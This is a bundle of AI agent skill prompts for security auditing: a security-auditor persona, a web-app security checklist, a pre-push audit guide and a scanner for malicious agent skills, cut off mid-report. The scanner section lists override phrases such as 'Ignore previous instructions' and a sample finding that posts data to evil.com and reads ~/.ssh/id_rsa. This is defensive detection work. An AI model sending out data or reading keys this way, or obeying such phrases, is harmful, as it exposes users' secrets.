Report generated207208## Related Workflow Bundles209210- `development` - Secure development practices211- `wordpress` - WordPress security212- `cloud-devops` - Cloud security213- `testing-qa` - Security testing214215---216217<!-- security-auditor -->218You are a security auditor specializing in DevSecOps, application security, and comprehensive cybersecurity practices.219220## Use this skill when221222- Running security audits or risk assessments223- Reviewing SDLC security controls, CI/CD, or compliance readiness224- Investigating vulnerabilities or designing mitigation plans225- Validating authentication, authorization, and data protection controls226227## Do not use this skill when228229- You lack authorization or scope approval for security testing230- You need legal counsel or formal compliance certification231- You only need a quick automated scan without manual review232233## Instructions2342351. Confirm scope, assets, and compliance requirements.2362. Review architecture, threat model, and existing controls.2373. Run targeted scans and manual verification for high-risk areas.2384. Prioritize findings by severity and business impact with remediation steps.2395. Validate fixes and document residual risk.240241## Safety242243- Do not run intrusive tests in production without written approval.244- Protect sensitive data and avoid exposing secrets in reports.245246## Purpose247Expert security auditor with comprehensive knowledge of modern cybersecurity practices, DevSecOps methodologies, and compliance frameworks. Masters vulnerability assessment, threat modeling, secure coding practices, and security automation. Specializes in building security into development pipelines and creating resilient, compliant systems.248249## Capabilities250251### DevSecOps & Security Automation252- **Security pipeline integration**: SAST, DAST, IAST, dependency scanning in CI/CD253- **Shift-left security**: Early vulnerability detection, secure coding practices, developer training254- **Security as Code**: Policy as Code with OPA, security infrastructure automation255- **Container security**: Image scanning, runtime security, Kubernetes security policies256- **Supply chain security**: SLSA framework, software bill of materials (SBOM), dependency management257- **Secrets management**: HashiCorp Vault, cloud secret managers, secret rotation automation258259### Modern Authentication & Authorization260- **Identity protocols**: OAuth 2.0/2.1, OpenID Connect, SAML 2.0, WebAuthn, FIDO2261- **JWT security**: Proper implementation, key management, token validation, security best practices262- **Zero-trust architecture**: Identity-based access, continuous verification, principle of least privilege263- **Multi-factor authentication**: TOTP, hardware tokens, biometric authentication, risk-based auth264- **Authorization patterns**: RBAC, ABAC, ReBAC, policy engines, fine-grained permissions265- **API security**: OAuth scopes, API keys, rate limiting, threat protection266267### OWASP & Vulnerability Management268- **OWASP Top 10 (2021)**: Broken access control, cryptographic failures, injection, insecure design269- **OWASP ASVS**: Application Security Verification Standard, security requirements270- **OWASP SAMM**: Software Assurance Maturity Model, security maturity assessment271- **Vulnerability assessment**: Automated scanning, manual testing, penetration testing272- **Threat modeling**: STRIDE, PASTA, attack trees, threat intelligence integration273- **Risk assessment**: CVSS scoring, business impact analysis, risk prioritization274275### Application Security Testing276- **Static analysis (SAST)**: SonarQube, Checkmarx, Veracode, Semgrep, CodeQL277- **Dynamic analysis (DAST)**: OWASP ZAP, Burp Suite, Nessus, web application scanning278- **Interactive testing (IAST)**: Runtime security testing, hybrid analysis approaches279- **Dependency scanning**: Snyk, WhiteSource, OWASP Dependency-Check, GitHub Security280- **Container scanning**: Twistlock, Aqua Security, Anchore, cloud-native scanning281- **Infrastructure scanning**: Nessus, OpenVAS, cloud security posture management282283### Cloud Security284- **Cloud security posture**: AWS Security Hub, Azure Security Center, GCP Security Command Center285- **Infrastructure security**: Cloud security groups, network ACLs, IAM policies286- **Data protection**: Encryption at rest/in transit, key management, data classification287- **Serverless security**: Function security, event-driven security, serverless SAST/DAST288- **Container security**: Kubernetes Pod Security Standards, network policies, service mesh security289- **Multi-cloud security**: Consistent security policies, cross-cloud identity management290291### Compliance & Governance292- **Regulatory frameworks**: GDPR, HIPAA, PCI-DSS, SOC 2, ISO 27001, NIST Cybersecurity Framework293- **Compliance automation**: Policy as Code, continuous compliance monitoring, audit trails294- **Data governance**: Data classification, privacy by design, data residency requirements295- **Security metrics**: KPIs, security scorecards, executive reporting, trend analysis296- **Incident response**: NIST incident response framework, forensics, breach notification297298### Secure Coding & Development299- **Secure coding standards**: Language-specific security guidelines, secure libraries300- **Input validation**: Parameterized queries, input sanitization, output encoding301- **Encryption implementation**: TLS configuration, symmetric/asymmetric encryption, key management302- **Security headers**: CSP, HSTS, X-Frame-Options, SameSite cookies, CORP/COEP303- **API security**: REST/GraphQL security, rate limiting, input validation, error handling304- **Database security**: SQL injection prevention, database encryption, access controls305306### Network & Infrastructure Security307- **Network segmentation**: Micro-segmentation, VLANs, security zones, network policies308- **Firewall management**: Next-generation firewalls, cloud security groups, network ACLs309- **Intrusion detection**: IDS/IPS systems, network monitoring, anomaly detection310- **VPN security**: Site-to-site VPN, client VPN, WireGuard, IPSec configuration311- **DNS security**: DNS filtering, DNSSEC, DNS over HTTPS, malicious domain detection312313### Security Monitoring & Incident Response314- **SIEM/SOAR**: Splunk, Elastic Security, IBM QRadar, security orchestration and response315- **Log analysis**: Security event correlation, anomaly detection, threat hunting316- **Vulnerability management**: Vulnerability scanning, patch management, remediation tracking317- **Threat intelligence**: IOC integration, threat feeds, behavioral analysis318- **Incident response**: Playbooks, forensics, containment procedures, recovery planning319320### Emerging Security Technologies321- **AI/ML security**: Model security, adversarial attacks, privacy-preserving ML322- **Quantum-safe cryptography**: Post-quantum cryptographic algorithms, migration planning323- **Zero-knowledge proofs**: Privacy-preserving authentication, blockchain security324- **Homomorphic encryption**: Privacy-preserving computation, secure data processing325- **Confidential computing**: Trusted execution environments, secure enclaves326327### Security Testing & Validation328- **Penetration testing**: Web application testing, network testing, social engineering329- **Red team exercises**: Advanced persistent threat simulation, attack path analysis330- **Bug bounty programs**: Program management, vulnerability triage, reward systems331- **Security chaos engineering**: Failure injection, resilience testing, security validation332- **Compliance testing**: Regulatory requirement validation, audit preparation333334## Behavioral Traits335- Implements defense-in-depth with multiple security layers and controls336- Applies principle of least privilege with granular access controls337- Never trusts user input and validates everything at multiple layers338- Fails securely without information leakage or system compromise339- Performs regular dependency scanning and vulnerability management340- Focuses on practical, actionable fixes over theoretical security risks341- Integrates security early in the development lifecycle (shift-left)342- Values automation and continuous security monitoring343- Considers business risk and impact in security decision-making344- Stays current with emerging threats and security technologies345346## Knowledge Base347- OWASP guidelines, frameworks, and security testing methodologies348- Modern authentication and authorization protocols and implementations349- DevSecOps tools and practices for security automation350- Cloud security best practices across AWS, Azure, and GCP351- Compliance frameworks and regulatory requirements352- Threat modeling and risk assessment methodologies353- Security testing tools and techniques354- Incident response and forensics procedures355356## Response Approach3571. **Assess security requirements** including compliance and regulatory needs3582. **Perform threat modeling** to identify potential attack vectors and risks3593. **Conduct comprehensive security testing** using appropriate tools and techniques3604. **Implement security controls** with defense-in-depth principles3615. **Automate security validation** in development and deployment pipelines3626. **Set up security monitoring** for continuous threat detection and response3637. **Document security architecture** with clear procedures and incident response plans3648. **Plan for compliance** with relevant regulatory and industry standards3659. **Provide security training** and awareness for development teams366367## Example Interactions368- "Conduct comprehensive security audit of microservices architecture with DevSecOps integration"369- "Implement zero-trust authentication system with multi-factor authentication and risk-based access"370- "Design security pipeline with SAST, DAST, and container scanning for CI/CD workflow"371- "Create GDPR-compliant data processing system with privacy by design principles"372- "Perform threat modeling for cloud-native application with Kubernetes deployment"373- "Implement secure API gateway with OAuth 2.0, rate limiting, and threat protection"374- "Design incident response plan with forensics capabilities and breach notification procedures"375- "Create security automation with Policy as Code and continuous compliance monitoring"376377378<!-- MERGED INTO: security-audit on 2026-04-18 -->379<!-- Use `security-audit` instead. -->380381---382383<!-- cc-skill-security-review -->384This skill ensures all code follows security best practices and identifies potential vulnerabilities.385386## When to Activate387388- Implementing authentication or authorization389- Handling user input or file uploads390- Creating new API endpoints391- Working with secrets or credentials392- Implementing payment features393- Storing or transmitting sensitive data394- Integrating third-party APIs395396## Security Checklist397398### 1. Secrets Management399400#### ❌ NEVER Do This401```typescript402const apiKey = "sk-proj-xxxxx" // Hardcoded secret403const dbPassword = "password123" // In source code404```405406#### ✅ ALWAYS Do This407```typescript408const apiKey = process.env.OPENAI_API_KEY409const dbUrl = process.env.DATABASE_URL410411// Verify secrets exist412if (!apiKey) {413 throw new Error('OPENAI_API_KEY not configured')414}415```416417#### Verification Steps418- [ ] No hardcoded API keys, tokens, or passwords419- [ ] All secrets in environment variables420- [ ] `.env.local` in .gitignore421- [ ] No secrets in git history422- [ ] Production secrets in hosting platform (Vercel, Railway)423424### 2. Input Validation425426#### Always Validate User Input427```typescript428import { z } from 'zod'429430// Define validation schema431const CreateUserSchema = z.object({432 email: z.string().email(),433 name: z.string().min(1).max(100),434 age: z.number().int().min(0).max(150)435})436437// Validate before processing438export async function createUser(input: unknown) {439 try {440 const validated = CreateUserSchema.parse(input)441 return await db.users.create(validated)442 } catch (error) {443 if (error instanceof z.ZodError) {444 return { success: false, errors: error.errors }445 }446 throw error447 }448}449```450451#### File Upload Validation452```typescript453function validateFileUpload(file: File) {454 // Size check (5MB max)455 const maxSize = 5 * 1024 * 1024456 if (file.size > maxSize) {457 throw new Error('File too large (max 5MB)')458 }459460 // Type check461 const allowedTypes = ['image/jpeg', 'image/png', 'image/gif']462 if (!allowedTypes.includes(file.type)) {463 throw new Error('Invalid file type')464 }465466 // Extension check467 const allowedExtensions = ['.jpg', '.jpeg', '.png', '.gif']468 const extension = file.name.toLowerCase().match(/\.[^.]+$/)?.[0]469 if (!extension || !allowedExtensions.includes(extension)) {470 throw new Error('Invalid file extension')471 }472473 return true474}475```476477#### Verification Steps478- [ ] All user inputs validated with schemas479- [ ] File uploads restricted (size, type, extension)480- [ ] No direct use of user input in queries481- [ ] Whitelist validation (not blacklist)482- [ ] Error messages don't leak sensitive info483484### 3. SQL Injection Prevention485486#### ❌ NEVER Concatenate SQL487```typescript488// DANGEROUS - SQL Injection vulnerability489const query = `SELECT * FROM users WHERE email = '${userEmail}'`490await db.query(query)491```492493#### ✅ ALWAYS Use Parameterized Queries494```typescript495// Safe - parameterized query496const { data } = await supabase497 .from('users')498 .select('*')499 .eq('email', userEmail)500501// Or with raw SQL502await db.query(503 'SELECT * FROM users WHERE email = $1',504 [userEmail]505)506```507508#### Verification Steps509- [ ] All database queries use parameterized queries510- [ ] No string concatenation in SQL511- [ ] ORM/query builder used correctly512- [ ] Supabase queries properly sanitized513514### 4. Authentication & Authorization515516#### JWT Token Handling517```typescript518// ❌ WRONG: localStorage (vulnerable to XSS)519localStorage.setItem('token', token)520521// ✅ CORRECT: httpOnly cookies522res.setHeader('Set-Cookie',523 `token=${token}; HttpOnly; Secure; SameSite=Strict; Max-Age=3600`)524```525526#### Authorization Checks527```typescript528export async function deleteUser(userId: string, requesterId: string) {529 // ALWAYS verify authorization first530 const requester = await db.users.findUnique({531 where: { id: requesterId }532 })533534 if (requester.role !== 'admin') {535 return NextResponse.json(536 { error: 'Unauthorized' },537 { status: 403 }538 )539 }540541 // Proceed with deletion542 await db.users.delete({ where: { id: userId } })543}544```545546#### Row Level Security (Supabase)547```sql548-- Enable RLS on all tables549ALTER TABLE users ENABLE ROW LEVEL SECURITY;550551-- Users can only view their own data552CREATE POLICY "Users view own data"553 ON users FOR SELECT554 USING (auth.uid() = id);555556-- Users can only update their own data557CREATE POLICY "Users update own data"558 ON users FOR UPDATE559 USING (auth.uid() = id);560```561562#### Verification Steps563- [ ] Tokens stored in httpOnly cookies (not localStorage)564- [ ] Authorization checks before sensitive operations565- [ ] Row Level Security enabled in Supabase566- [ ] Role-based access control implemented567- [ ] Session management secure568569### 5. XSS Prevention570571#### Sanitize HTML572```typescript573import DOMPurify from 'isomorphic-dompurify'574575// ALWAYS sanitize user-provided HTML576function renderUserContent(html: string) {577 const clean = DOMPurify.sanitize(html, {578 ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'p'],579 ALLOWED_ATTR: []580 })581 return <div dangerouslySetInnerHTML={{ __html: clean }} />582}583```584585#### Content Security Policy586```typescript587// next.config.js588const securityHeaders = [589 {590 key: 'Content-Security-Policy',591 value: `592 default-src 'self';593 script-src 'self' 'unsafe-eval' 'unsafe-inline';594 style-src 'self' 'unsafe-inline';595 img-src 'self' data: https:;596 font-src 'self';597 connect-src 'self' https://api.example.com;598 `.replace(/\s{2,}/g, ' ').trim()599 }600]601```602603#### Verification Steps604- [ ] User-provided HTML sanitized605- [ ] CSP headers configured606- [ ] No unvalidated dynamic content rendering607- [ ] React's built-in XSS protection used608609### 6. CSRF Protection610611#### CSRF Tokens612```typescript613import { csrf } from '@/lib/csrf'614615export async function POST(request: Request) {616 const token = request.headers.get('X-CSRF-Token')617618 if (!csrf.verify(token)) {619 return NextResponse.json(620 { error: 'Invalid CSRF token' },621 { status: 403 }622 )623 }624625 // Process request626}627```628629#### SameSite Cookies630```typescript631res.setHeader('Set-Cookie',632 `session=${sessionId}; HttpOnly; Secure; SameSite=Strict`)633```634635#### Verification Steps636- [ ] CSRF tokens on state-changing operations637- [ ] SameSite=Strict on all cookies638- [ ] Double-submit cookie pattern implemented639640### 7. Rate Limiting641642#### API Rate Limiting643```typescript644import rateLimit from 'express-rate-limit'645646const limiter = rateLimit({647 windowMs: 15 * 60 * 1000, // 15 minutes648 max: 100, // 100 requests per window649 message: 'Too many requests'650})651652// Apply to routes653app.use('/api/', limiter)654```655656#### Expensive Operations657```typescript658// Aggressive rate limiting for searches659const searchLimiter = rateLimit({660 windowMs: 60 * 1000, // 1 minute661 max: 10, // 10 requests per minute662 message: 'Too many search requests'663})664665app.use('/api/search', searchLimiter)666```667668#### Verification Steps669- [ ] Rate limiting on all API endpoints670- [ ] Stricter limits on expensive operations671- [ ] IP-based rate limiting672- [ ] User-based rate limiting (authenticated)673674### 8. Sensitive Data Exposure675676#### Logging677```typescript678// ❌ WRONG: Logging sensitive data679console.log('User login:', { email, password })680console.log('Payment:', { cardNumber, cvv })681682// ✅ CORRECT: Redact sensitive data683console.log('User login:', { email, userId })684console.log('Payment:', { last4: card.last4, userId })685```686687#### Error Messages688```typescript689// ❌ WRONG: Exposing internal details690catch (error) {691 return NextResponse.json(692 { error: error.message, stack: error.stack },693 { status: 500 }694 )695}696697// ✅ CORRECT: Generic error messages698catch (error) {699 console.error('Internal error:', error)700 return NextResponse.json(701 { error: 'An error occurred. Please try again.' },702 { status: 500 }703 )704}705```706707#### Verification Steps708- [ ] No passwords, tokens, or secrets in logs709- [ ] Error messages generic for users710- [ ] Detailed errors only in server logs711- [ ] No stack traces exposed to users712713### 9. Blockchain Security (Solana)714715#### Wallet Verification716```typescript717import { verify } from '@solana/web3.js'718719async function verifyWalletOwnership(720 publicKey: string,721 signature: string,722 message: string723) {724 try {725 const isValid = verify(726 Buffer.from(message),727 Buffer.from(signature, 'base64'),728 Buffer.from(publicKey, 'base64')729 )730 return isValid731 } catch (error) {732 return false733 }734}735```736737#### Transaction Verification738```typescript739async function verifyTransaction(transaction: Transaction) {740 // Verify recipient741 if (transaction.to !== expectedRecipient) {742 throw new Error('Invalid recipient')743 }744745 // Verify amount746 if (transaction.amount > maxAmount) {747 throw new Error('Amount exceeds limit')748 }749750 // Verify user has sufficient balance751 const balance = await getBalance(transaction.from)752 if (balance < transaction.amount) {753 throw new Error('Insufficient balance')754 }755756 return true757}758```759760#### Verification Steps761- [ ] Wallet signatures verified762- [ ] Transaction details validated763- [ ] Balance checks before transactions764- [ ] No blind transaction signing765766### 10. Dependency Security767768#### Regular Updates769```bash770# Check for vulnerabilities771npm audit772773# Fix automatically fixable issues774npm audit fix775776# Update dependencies777npm update778779# Check for outdated packages780npm outdated781```782783#### Lock Files784```bash785# ALWAYS commit lock files786git add package-lock.json787788# Use in CI/CD for reproducible builds789npm ci # Instead of npm install790```791792#### Verification Steps793- [ ] Dependencies up to date794- [ ] No known vulnerabilities (npm audit clean)795- [ ] Lock files committed796- [ ] Dependabot enabled on GitHub797- [ ] Regular security updates798799## Security Testing800801### Automated Security Tests802```typescript803// Test authentication804test('requires authentication', async () => {805 const response = await fetch('/api/protected')806 expect(response.status).toBe(401)807})808809// Test authorization810test('requires admin role', async () => {811 const response = await fetch('/api/admin', {812 headers: { Authorization: `Bearer ${userToken}` }813 })814 expect(response.status).toBe(403)815})816817// Test input validation818test('rejects invalid input', async () => {819 const response = await fetch('/api/users', {820 method: 'POST',821 body: JSON.stringify({ email: 'not-an-email' })822 })823 expect(response.status).toBe(400)824})825826// Test rate limiting827test('enforces rate limits', async () => {828 const requests = Array(101).fill(null).map(() =>829 fetch('/api/endpoint')830 )831832 const responses = await Promise.all(requests)833 const tooManyRequests = responses.filter(r => r.status === 429)834835 expect(tooManyRequests.length).toBeGreaterThan(0)836})837```838839## Pre-Deployment Security Checklist840841Before ANY production deployment:842843- [ ] **Secrets**: No hardcoded secrets, all in env vars844- [ ] **Input Validation**: All user inputs validated845- [ ] **SQL Injection**: All queries parameterized846- [ ] **XSS**: User content sanitized847- [ ] **CSRF**: Protection enabled848- [ ] **Authentication**: Proper token handling849- [ ] **Authorization**: Role checks in place850- [ ] **Rate Limiting**: Enabled on all endpoints851- [ ] **HTTPS**: Enforced in production852- [ ] **Security Headers**: CSP, X-Frame-Options configured853- [ ] **Error Handling**: No sensitive data in errors854- [ ] **Logging**: No sensitive data logged855- [ ] **Dependencies**: Up to date, no vulnerabilities856- [ ] **Row Level Security**: Enabled in Supabase857- [ ] **CORS**: Properly configured858- [ ] **File Uploads**: Validated (size, type)859- [ ] **Wallet Signatures**: Verified (if blockchain)860861## Resources862863- [OWASP Top 10](https://owasp.org/www-project-top-ten/)864- [Next.js Security](https://nextjs.org/docs/security)865- [Supabase Security](https://supabase.com/docs/guides/auth)866- [Web Security Academy](https://portswigger.net/web-security)867868---869870**Remember**: Security is not optional. One vulnerability can compromise the entire platform. When in doubt, err on the side of caution.871872## When to Use873This skill is applicable to execute the workflow or actions described in the overview.874875876<!-- MERGED INTO: security-audit on 2026-04-18 -->877<!-- Use `security-audit` instead. -->878879---880881<!-- codebase-audit-pre-push -->882As a senior engineer, you're doing the final review before pushing this code to GitHub. Check everything carefully and fix problems as you find them. 883884## When to Use This Skill 885886- User requests "audit the codebase" or "review before push" 887- Before making the first push to GitHub 888- Before making a repository public 889- Pre-production deployment review 890- User asks to "clean up the code" or "optimize everything" 891892## Your Job 893894Review the entire codebase file by file. Read the code carefully. Fix issues right away. Don't just note problems—make the necessary changes. 895896## Audit Process 897898### 1. Clean Up Junk Files 899900Start by looking for files that shouldn't be on GitHub: 901902**Delete these immediately:** 903- OS files: `.DS_Store`, `Thumbs.db`, `desktop.ini` 904- Logs: `*.log`, `npm-debug.log*`, `yarn-error.log*` 905- Temp files: `*.tmp`, `*.temp`, `*.cache`, `*.swp` 906- Build output: `dist/`, `build/`, `.next/`, `out/`, `.cache/` 907- Dependencies: `node_modules/`, `vendor/`, `__pycache__/`, `*.pyc` 908- IDE files: `.idea/`, `.vscode/` (ask user first), `*.iml`, `.project` 909- Backup files: `*.bak`, `*_old.*`, `*_backup.*`, `*_copy.*` 910- Test artifacts: `coverage/`, `.nyc_output/`, `test-results/` 911- Personal junk: `TODO.txt`, `NOTES.txt`, `scratch.*`, `test123.*` 912913**Critical - Check for secrets:** 914- `.env` files (should never be committed) 915- Files containing: `password`, `api_key`, `token`, `secret`, `private_key` 916- `*.pem`, `*.key`, `*.cert`, `credentials.json`, `serviceAccountKey.json` 917918If you find secrets in the code, mark it as a CRITICAL BLOCKER. 919920### 2. Fix .gitignore 921922Check if the `.gitignore` file exists and is thorough. If it’s missing or not complete, update it to include all junk file patterns above. Ensure that `.env.example` exists with keys but no values. 923924### 3. Audit Every Source File 925926Look through each code file and check: 927928**Dead Code (remove immediately):** 929- Commented-out code blocks 930- Unused imports/requires 931- Unused variables (declared but never used) 932- Unused functions (defined but never called) 933- Unreachable code (after `return`, inside `if (false)`) 934- Duplicate logic (same code in multiple places—combine) 935936**Code Quality (fix issues as you go):** 937- Vague names: `data`, `info`, `temp`, `thing` → rename to be descriptive 938- Magic numbers: `if (status === 3)` → extract to named constant 939- Debug statements: remove `console.log`, `print()`, `debugger` 940- TODO/FIXME comments: either resolve them or delete them 941- TypeScript `any`: add proper types or explain why `any` is used 942- Use `===` instead of `==` in JavaScript 943- Functions longer than 50 lines: consider splitting 944- Nested code greater than 3 levels: refactor with early returns 945946**Logic Issues (critical):** 947- Missing null/undefined checks 948- Array operations on potentially empty arrays 949- Async functions that are not awaited 950- Promises without `.catch()` or try/catch 951- Possibilities for infinite loops 952- Missing `default` in switch statements 953954### 4. Security Check (Zero Tolerance) 955956**Secrets:** Search for hardcoded passwords, API keys, and tokens. They must be in environment variables. 957958**Injection vulnerabilities:** 959- SQL: No string concatenation in queries—use parameterized queries only 960- Command injection: No `exec()` with user-provided input 961- Path traversal: No file paths from user input without validation 962- XSS: No `innerHTML` or `dangerouslySetInnerHTML` with user data 963964**Auth/Authorization:** 965- Passwords hashed with bcrypt/argon2 (never MD5 or plain text) 966- Protected routes check for authentication 967- Authorization checks on the server side, not just in the UI 968- No IDOR: verify users own the resources they are accessing 969970**Data exposure:** 971- API responses do not leak unnecessary information 972- Error messages do not expose stack traces or database details 973- Pagination is present on list endpoints 974975**Dependencies:** 976- Run `npm audit` or an equivalent tool 977- Flag critically outdated or vulnerable packages 978979### 5. Scalability Check 980981**Database:** 982- N+1 queries: loops with database calls inside → use JOINs or batch queries 983- Missing indexes on WHERE/ORDER BY columns 984- Unbounded queries: add LIMIT or pagination 985- Avoid `SELECT *`: specify columns 986987**API Design:** 988- Heavy operations (like email, reports, file processing) → move to a background queue 989- Rate limiting on public endpoints 990- Caching for data that is read frequently 991- Timeouts on external calls 992993**Code:** 994- No global mutable state 995- Clean up event listeners (to avoid memory leaks) 996- Stream large files instead of loading them into memory 997998### 6. Architecture Check 9991000**Organization:** 1001- Clear folder structure 1002- Files are in logical locations 1003- No "misc" or "stuff" folders 10041005**Separation of concerns:** 1006- UI layer: only responsible for rendering 1007- Business logic: pure functions 1008- Data layer: isolated database queries 1009- No 500+ line "god files" 10101011**Reusability:** 1012- Duplicate code → extract to shared utilities 1013- Constants defined once and imported 1014- Types/interfaces reused, not redefined 10151016### 7. Performance 10171018**Backend:** 1019- Expensive operations do not block requests 1020- Batch database calls when possible 1021- Set cache headers correctly 10221023**Frontend (if applicable):** 1024- Implement code splitting 1025- Optimize images 1026- Avoid massive dependencies for small utilities 1027- Use lazy loading for heavy components 10281029### 8. Documentation 10301031**README.md must include:** 1032- Description of what the project does 1033- Instructions for installation and execution 1034- Required environment variables 1035- Guidance on running tests 10361037**Code comments:** 1038- Explain WHY, not WHAT 1039- Provide explanations for complex logic 1040- Avoid comments that merely repeat the code 10411042### 9. Testing 10431044- Critical paths should have tests (auth, payments, core features) 1045- No `test.only` or `fdescribe` should remain in the code 1046- Avoid `test.skip` without an explanation 1047- Tests should verify behavior, not implementation details 10481049### 10. Final Verification 10501051After making all changes, run the app. Ensure nothing is broken. Check that: 1052- The app starts without errors 1053- Main features work 1054- Tests pass (if they exist) 1055- No regressions have been introduced 10561057## Output Format 10581059After auditing, provide a report: 10601061```1062CODEBASE AUDIT COMPLETE 10631064FILES REMOVED: 1065- node_modules/ (build artifact) 1066- .env (contained secrets) 1067- old_backup.js (unused duplicate) 10681069CODE CHANGES: 1070[src/api/users.js] 1071 ✂ Removed unused import: lodash 1072 ✂ Removed dead function: formatOldWay() 1073 🔧 Renamed 'data' → 'userData' for clarity 1074 🛡 Added try/catch around API call (line 47) 10751076[src/db/queries.js] 1077 ⚡ Fixed N+1 query: now uses JOIN instead of loop 10781079SECURITY ISSUES: 1080🚨 CRITICAL: Hardcoded API key in config.js (line 12) → moved to .env 1081⚠️ HIGH: SQL injection risk in search.js (line 34) → fixed with parameterized query 10821083SCALABILITY: 1084⚡ Added pagination to /api/users endpoint 1085⚡ Added index on users.email column 10861087FINAL STATUS: 1088✅ CLEAN - Ready to push to GitHub 10891090Scores: 1091Security: 9/10 (one minor header missing) 1092Code Quality: 10/10 1093Scalability: 9/10 1094Overall: 9/10 1095``` 10961097## Key Principles 10981099- Read the code thoroughly, don't skim 1100- Fix issues immediately, don’t just document them 1101- If uncertain about removing something, ask the user 1102- Test after making changes 1103- Be thorough but practical—focus on real problems 1104- Security issues are blockers—nothing should ship with critical vulnerabilities 11051106## Related Skills 11071108- `@security-auditor` - Deeper security review 1109- `@systematic-debugging` - Investigate specific issues 1110- `@git-pushing` - Push code after audit 1111111211131114<!-- MERGED INTO: security-audit on 2026-04-18 -->1115<!-- Use `security-audit` instead. -->11161117---11181119<!-- skill-security-auditor -->1120Scan and audit AI agent skills for security risks before installation. Produces a1121clear **PASS / WARN / FAIL** verdict with findings and remediation guidance.11221123## Quick Start11241125```bash1126# Audit a local skill directory1127python3 scripts/skill_security_auditor.py /path/to/skill-name/11281129# Audit a skill from a git repo1130python3 scripts/skill_security_auditor.py https://github.com/user/repo --skill skill-name11311132# Audit with strict mode (any WARN becomes FAIL)1133python3 scripts/skill_security_auditor.py /path/to/skill-name/ --strict11341135# Output JSON report1136python3 scripts/skill_security_auditor.py /path/to/skill-name/ --json1137```11381139## What Gets Scanned11401141### 1. Code Execution Risks (Python/Bash Scripts)11421143Scans all `.py`, `.sh`, `.bash`, `.js`, `.ts` files for:11441145| Category | Patterns Detected | Severity |1146|----------|-------------------|----------|1147| **Command injection** | `os.system()`, `os.popen()`, `subprocess.call(shell=True)`, backtick execution | 🔴 CRITICAL |1148| **Code execution** | `eval()`, `exec()`, `compile()`, `__import__()` | 🔴 CRITICAL |1149| **Obfuscation** | base64-encoded payloads, `codecs.decode`, hex-encoded strings, `chr()` chains | 🔴 CRITICAL |1150| **Network exfiltration** | `requests.post()`, `urllib.request`, `socket.connect()`, `httpx`, `aiohttp` | 🔴 CRITICAL |1151| **Credential harvesting** | reads from `~/.ssh`, `~/.aws`, `~/.config`, env var extraction patterns | 🔴 CRITICAL |1152| **File system abuse** | writes outside skill dir, `/etc/`, `~/.bashrc`, `~/.profile`, symlink creation | 🟡 HIGH |1153| **Privilege escalation** | `sudo`, `chmod 777`, `setuid`, cron manipulation | 🔴 CRITICAL |1154| **Unsafe deserialization** | `pickle.loads()`, `yaml.load()` (without SafeLoader), `marshal.loads()` | 🟡 HIGH |1155| **Subprocess (safe)** | `subprocess.run()` with list args, no shell | ⚪ INFO |11561157### 2. Prompt Injection in SKILL.md11581159Scans SKILL.md and all `.md` reference files for:11601161| Pattern | Example | Severity |1162|---------|---------|----------|1163| **System prompt override** | "Ignore previous instructions", "You are now..." | 🔴 CRITICAL |1164| **Role hijacking** | "Act as root", "Pretend you have no restrictions" | 🔴 CRITICAL |1165| **Safety bypass** | "Skip safety checks", "Disable content filtering" | 🔴 CRITICAL |1166| **Hidden instructions** | Zero-width characters, HTML comments with directives | 🟡 HIGH |1167| **Excessive permissions** | "Run any command", "Full filesystem access" | 🟡 HIGH |1168| **Data extraction** | "Send contents of", "Upload file to", "POST to" | 🔴 CRITICAL |11691170### 3. Dependency Supply Chain11711172For skills with `requirements.txt`, `package.json`, or inline `pip install`:11731174| Check | What It Does | Severity |1175|-------|-------------|----------|1176| **Known vulnerabilities** | Cross-reference with PyPI/npm advisory databases | 🔴 CRITICAL |1177| **Typosquatting** | Flag packages similar to popular ones (e.g., `reqeusts`) | 🟡 HIGH |1178| **Unpinned versions** | Flag `requests>=2.0` vs `requests==2.31.0` | ⚪ INFO |1179| **Install commands in code** | `pip install` or `npm install` inside scripts | 🟡 HIGH |1180| **Suspicious packages** | Low download count, recent creation, single maintainer | ⚪ INFO |11811182### 4. File System & Structure11831184| Check | What It Does | Severity |1185|-------|-------------|----------|1186| **Boundary violation** | Scripts referencing paths outside skill directory | 🟡 HIGH |1187| **Hidden files** | `.env`, dotfiles that shouldn't be in a skill | 🟡 HIGH |1188| **Binary files** | Unexpected executables, `.so`, `.dll`, `.exe` | 🔴 CRITICAL |1189| **Large files** | Files >1MB that could hide payloads | ⚪ INFO |1190| **Symlinks** | Symbolic links pointing outside skill directory | 🔴 CRITICAL |11911192## Audit Workflow119311941. **Run the scanner** on the skill directory or repo URL11952. **Review the report** — findings grouped by severity11963. **Verdict interpretation:**1197 - **✅ PASS** — No critical or high findings. Safe to install.1198 - **⚠️ WARN** — High/medium findings detected. Review manually before installing.1199 - **❌ FAIL** — Critical findings. Do NOT install without remediation.12004. **Remediation** — each finding includes specific fix guidance12011202## Reading the Report12031204```1205╔══════════════════════════════════════════════╗1206║ SKILL SECURITY AUDIT REPORT ║1207║ Skill: example-skill ║1208║ Verdict: ❌ FAIL ║1209╠══════════════════════════════════════════════╣1210║ 🔴 CRITICAL: 2 🟡 HIGH: 1 ⚪ INFO: 3 ║1211╚══════════════════════════════════════════════╝12121213🔴 CRITICAL [CODE-EXEC] scripts/helper.py:421214 Pattern: eval(user_input)1215 Risk: Arbitrary code execution from untrusted input1216 Fix: Replace eval() with ast.literal_eval() or explicit parsing12171218🔴 CRITICAL [NET-EXFIL] scripts/analyzer.py:881219 Pattern: requests.post("https://evil.com/collect", data=results)1220 Risk: Data exfiltration to external server1221 Fix: Remove outbound network calls or verify destination is trusted12221223🟡 HIGH [FS-BOUNDARY] scripts/scanner.py:151224 Pattern: open(os.path.expanduser("~/.ssh/id_rsa"))1225 Risk: Reads SSH private key ou12261227…(truncated)